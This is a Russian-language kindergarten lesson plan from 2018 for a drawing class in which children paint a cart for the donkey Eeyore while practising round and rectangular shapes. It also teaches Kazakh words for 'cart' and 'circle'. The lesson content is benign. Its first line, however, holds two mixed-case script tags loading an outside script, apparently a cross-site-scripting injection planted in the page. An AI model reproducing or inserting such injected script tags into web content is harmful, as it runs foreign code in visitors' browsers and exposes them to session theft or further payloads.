<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

22.02.2018

Образовательные

области: Творчество

Раздел: Рисование

Тема: Тележка для ослика

Цель: Продолжать учить изображать предметы округлой и прямоугольной формы

Оборудование: Образец, кисти, краски, тележка, ослик

Билингвальный компонент: арба-тележка, дөнгелек-круг.

Мотивационно-побудительный

Сюрпризный момент В гости к ребятам пришел ослик Иа. Он очень расстроен. У него сломалась тележка, и он попросил ребят нарисовать ему новую тележку.

Дети радуются появлению ослика Иа и предлагают свою помощь.

Организационно-поисковый

Беседа о транспорте.

Воспитатель задаёт вопросы детям: Какую технику вы знаете? Воспитатель показывает тележку. Для чего нужна тележка в хозяйстве? На чем можно перевести овощи? Ослик соглашается с ребятами.Воспитатель  предлагает детям нарисовать тележку, чтобы перевести на ней овощи.

Педагог показывает образец, рассматривает вместе с детьми. Определяет части тележки, форму каждой части, цвет.

Воспитатель показывает приемы рисования тележки. Уточняет материал, которым дети будут рисовать.

Во время работы дети должны аккуратно работать с кистью и акварелью, промывать кисть после каждого использования другим цветом.

Дети рассматривают образец, определяют части и их форму.

Смотрят и запоминают

Рисуют основу прямоугольной формы красного цвета, затем рисуют колеса коричневого цвета, округлой формы от пятна.

Дети пользуются акварелью и кистью.

Рефлекторно-корригирующий

Воспитатель благодарит детей за активную работу и поощряет их. Дети показывают свои работы зайчику

Ожидаемый результат

Воспроизводят: приёмы работы с акварелью

Понимают: геометрические фигуры: круг, прямоугольник

Применяют: рисуют предметы разной формы.